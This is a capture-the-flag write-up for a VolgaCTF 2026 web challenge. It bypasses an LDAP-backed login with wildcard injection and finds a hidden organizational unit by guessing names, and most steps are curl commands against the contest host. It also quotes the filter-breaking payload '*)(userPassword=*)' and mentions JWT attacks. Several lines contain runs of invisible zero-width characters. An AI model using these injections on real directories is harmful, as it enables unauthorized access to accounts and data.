← Back to Writeups
CUSTOMMediumWeb

Directory

XESXOR9/10/20263 min read
#web#custom#medium#auth_bypass_via_wildcard#hint_analysis#ldap_base_dn_manipulation#ldap_wildcard_injection#ou_brute_force#linux

Directory

Platform: volgactf | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-03-28 | Status: Solved Techniques: auth_bypass_via_wildcard, hint_analysis, ldap_base_dn_manipulation, ldap_wildcard_injection, ou_brute_force

Summary

Task: Corporate directory service with LDAP backend and JWT auth — bypass authentication and find hidden data. Solution: LDAP wildcard injection in email/telephone fields to bypass auth, then brute-force organizational unit parameter to discover hidden OU containing the flag.

Directory — VolgaCTF 2026

Description

A corporate directory service web application. Bypass auth to get the flag.

Flask/Gunicorn web application backed by OpenLDAP. Three endpoints: /search (user lookup), /auth (JWT authentication requiring username + email + telephone), and /directory (browse departments with JWT). Goal: bypass authentication and find the flag hidden in the LDAP directory.

Analysis

Endpoint Discovery

The application exposes three main endpoints:

  • POST /search — Search users by username or email. Wildcards (*) blocked in username but allowed in email, revealing LDAP wildcard injection potential.
  • POST /auth — Authenticate with username, email, and telephone. Returns JWT token (HS256) on success.
  • GET /directory — Browse department directory by ou (organizational unit) and telephoneNumber parameters. Requires valid JWT. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Server headers: Server: gunicorn, Access-Control-Allow-Origin: *.

User Enumeration

Using /search with common usernames, two valid accounts were found:

  • admin — exists but disabled (auth always returns 403: "this account is disabled")
  • operator — exists and active

LDAP Filter Structure

The authentication likely constructs an LDAP search filter like:

(&(uid=USERNAME)(mail=EMAIL)(telephoneNumber=PHONE))

Since email and telephone fields accept wildcards, injecting * matches any value — effectively bypassing the need to know actual credentials. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Hidden Organizational Unit

The /directory endpoint uses the ou parameter to construct the LDAP base DN:

ou=VALUE,dc=volgactf,dc=ru

Only users and staff OUs are advertised, but a hidden secret OU exists containing the flag.

Solution

Step 1: Enumerate Users via /search

bash
# Wildcards blocked in username but allowed in email
curl -s http://web-l1-1.q.2026.volgactf.ru:5001/search \
  -H "Content-Type: application/json" \
  -d '{"username":"admin"}'
# → Found: admin exists
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

curl -s http://web-l1-1.q.2026.volgactf.ru:5001/search \
  -H "Content-Type: application/json" \
  -d '{"username":"operator"}'
# → Found: operator exists

Step 2: Bypass Authentication with LDAP Wildcard Injection

bash
# Admin is disabled
curl -s http://web-l1-1.q.2026.volgactf.ru:5001/auth \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","email":"*","telephone":"*"}'
# → 403: "this account is disabled"

# Operator works — wildcard injection bypasses credential check
curl -s http://web-l1-1.q.2026.volgactf.ru:5001/auth \
  -H "Content-Type: application/json" \
  -d '{"username":"operator","email":"*","telephone":"*"}'
# → 200: JWT token returned
# Hint: "Explore /directory to find more information. Departments: users, staff"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

JWT payload: {"uid":"operator","iat":...,"exp":...} (HS256 signed).

Step 3: Explore Known Departments

bash
TOKEN="<jwt_token>"

# List users in 'users' department
curl -s "http://web-l1-1.q.2026.volgactf.ru:5001/directory?ou=users&telephoneNumber=*" \
  -H "Authorization: Bearer $TOKEN"
# → jdoe, admin, asmith, operator

# List users in 'staff' department
curl -s "http://web-l1-1.q.2026.volgactf.ru:5001/directory?ou=staff&telephoneNumber=*" \
  -H "Authorization: Bearer $TOKEN"
# → hr-anna, dev-ivan
# KEY HINT from hr-anna's description:
# "HR manager. Secrets are kept in a separate branch — ask the operator."

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 4: Brute-Force Hidden Organizational Unit

The hint about "separate branch" suggests a hidden OU in the LDAP tree.

bash
# Brute-force common OU names
for ou in secret secrets admin flag flags hidden private confidential restricted; do
  result=$(curl -s "http://web-l1-1.q.2026.volgactf.ru:5001/directory?ou=$ou&telephoneNumber=*" \
    -H "Authorization: Bearer $TOKEN")
  echo "$ou: $result"
done
# → "secret" returns data!

Step 5: Retrieve the Flag

bash
curl -s "http://web-l1-1.q.2026.volgactf.ru:5001/directory?ou=secret&telephoneNumber=*" \
  -H "Authorization: Bearer $TOKEN"
# → User "flag-keeper" with description containing the flag

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Failed Approaches

  • LDAP injection in username — blocked by character validation (alphanumeric only)
  • JWT alg=none attack — rejected with "Invalid token"
  • JWT secret cracking — secret not in common wordlists
  • LDAP injection in telephoneNumber (e.g., *)(userPassword=*) — returned "No users found"
  • Authenticating as admin — account permanently disabled ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍